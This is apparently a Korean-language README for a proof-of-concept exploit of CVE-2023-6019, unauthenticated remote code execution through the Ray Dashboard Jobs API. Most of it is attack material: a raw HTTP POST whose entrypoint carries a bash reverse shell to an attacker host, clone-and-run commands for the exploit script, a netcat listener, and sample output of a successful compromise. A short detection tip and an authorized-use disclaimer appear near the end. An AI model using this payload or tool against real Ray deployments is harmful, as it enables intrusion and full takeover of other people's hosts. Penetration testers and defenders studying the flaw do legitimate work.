
CVE-2023-6019에 대한 PoC 익스플로잇 - 인증되지 않은 Ray Dashboard Jobs API를 통한 원격 코드 실행
CVE-2023-6019에 대한 PoC 익스플로잇 — 미인증 Ray Dashboard Jobs API를 통한 원격 코드 실행.
oguiii 제작
Anyscale Ray는 분산 ML/AI 워크로드를 위한 오픈소스 프레임워크입니다. 2.6.4 이전 버전에서는 Ray Dashboard(기본 포트 8265)를 통해 Jobs 제출 API를 인증 없이 노출하여, 인증되지 않은 공격자가 임의의 작업을 제출하고 호스트에서 원격 코드 실행을 달성할 수 있습니다.
/api/jobs/ 엔드포인트는 entrypoint 필드가 포함된 JSON 페이로드를 수락하며, 이 필드는 Ray 워커 프로세스에 의해 셸 명령으로 실행됩니다 — 자격 증명이 필요하지 않습니다.
POST /api/jobs/ HTTP/1.1
Host: <target>:8265
Content-Type: application/json
{
"entrypoint": "bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'",
"runtime_env": {},
"job_id": null,
"metadata": {}
}
git clone https://github.com/joaquinrrr/CVE-2023-6019
cd CVE-2023-6019
pip install requests
python3 CVE-2023-6019.py -t <TARGET_IP> -p <PORT> -l <LHOST> -lp <LPORT>
# 리스너 시작
nc -lvnp 4444
# 익스플로잇 실행
python3 CVE-2023-6019.py -t 192.168.1.100 -p 8265 -l 192.168.1.10 -lp 4444
[*] Checking Ray version at 192.168.1.100:8265...
[*] Ray API version : 4
[*] Ray version : 2.6.3
[+] VULNERABLE! Ray 2.6.3 is affected by CVE-2023-6019
[*] Target : http://192.168.1.100:8265/api/jobs/
[*] Reverse shell : 192.168.1.10:4444
[*] Submitting job...
[+] Job submitted successfully!
[+] Job ID: raysubmit_Gztg89LZuTa8Jevc
[>] Make sure your listener is ready:
nc -lvnp 4444
HTTP 로그나 네트워크 트래픽에서 포트 8265의 /api/jobs/에 대한 예상치 못한 POST 요청을 확인하세요.
이 도구는 공인된 침투 테스트 및 교육 목적으로만 사용됩니다.
작성자는 이 도구의 오용이나 이로 인한 손해에 대해 책임지지 않습니다.
테스트를 수행하기 전에 항상 적절한 서면 허가를 받으십시오.
| 플래그 | 설명 | 기본값 |
|---|
-t | 대상 IP 또는 호스트명 | 필수 |
-p | Ray Dashboard 포트 | 8265 |
-l | 공격자 IP (리버스 셸) | 필수 |
-lp | 공격자 포트 (리버스 셸) | 필수 |